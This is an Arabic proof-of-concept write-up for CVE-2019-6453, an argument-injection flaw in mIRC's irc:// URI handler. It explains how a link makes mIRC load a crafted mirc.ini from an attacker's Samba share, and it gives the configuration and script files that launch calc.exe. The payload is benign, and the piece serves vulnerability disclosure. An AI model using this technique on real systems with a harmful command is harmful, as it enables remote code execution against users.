
إثبات تشغيل calc لـ CVE-2019-6453
وجدنا ثغرة تنفيذ تعليمات برمجية عن بُعد في mIRC عبر معالج بروتوكول URI irc://. وبسبب أن mIRC لا يستخدم أي نوع من العلامات مثل -- لتحديد نهاية قائمة الوسائط، يمكن للمهاجم تمرير وسائط إلى mIRC عبر رابط irc:// وتنفيذ تعليمات برمجية عشوائية عن طريق تحميل ملف mirc.ini مخصص من خادم ملفات Samba يتحكم فيه المهاجم. يُرجى ملاحظة أن ircs:// يعمل بالطريقة نفسها.
يتطلب إثبات الحاسبة ثلاثة ملفات: mirc.ini وcalc.ini وpoc.html. نفترض أن خادم ملفات Samba يعمل على جانب المهاجم. ولأغراض المثال، تفترض أجزاء التعليمات البرمجية التالية أنه يعمل على المضيف 127.0.0.1 (أي استبدل 127.0.0.1 بعنوان خادمك الخاص في الملفات التالية لتجربة ذلك).
mirc.ini هو ملف إعداد مخصص يجب أن يكون موجودًا في C:\mirc-poc\mirc.ini على خادم الملفات.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini هو ملف سكربت بعيد يجب أن يكون موجودًا في C:\mirc-poc\calc.ini على خادم الملفات.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
يكفي زيارة poc.html ليعمل الأمر، بافتراض أن mIRC مضبوط كمعالج افتراضي لمخطط URI irc:// وأن المتصفح لا يرمّز الحمولة. اعتمادًا على المتصفح وإعداداتك، قد تظهر لك رسالة تأكيد (ليس الحال على Firefox).

يعمل هذا الإثبات على mIRC <7.55.
يمكنك تشغيل الإثبات على Edge 42.17134 (آخر إصدار تجريبي) وFirefox 64.0.2 (آخر إصدار رسمي). لا يعمل على Chrome لأن طريقة تعامل Chrome مع بروتوكولات URI (يتم ترميز URI قبل تمريره إلى التطبيق).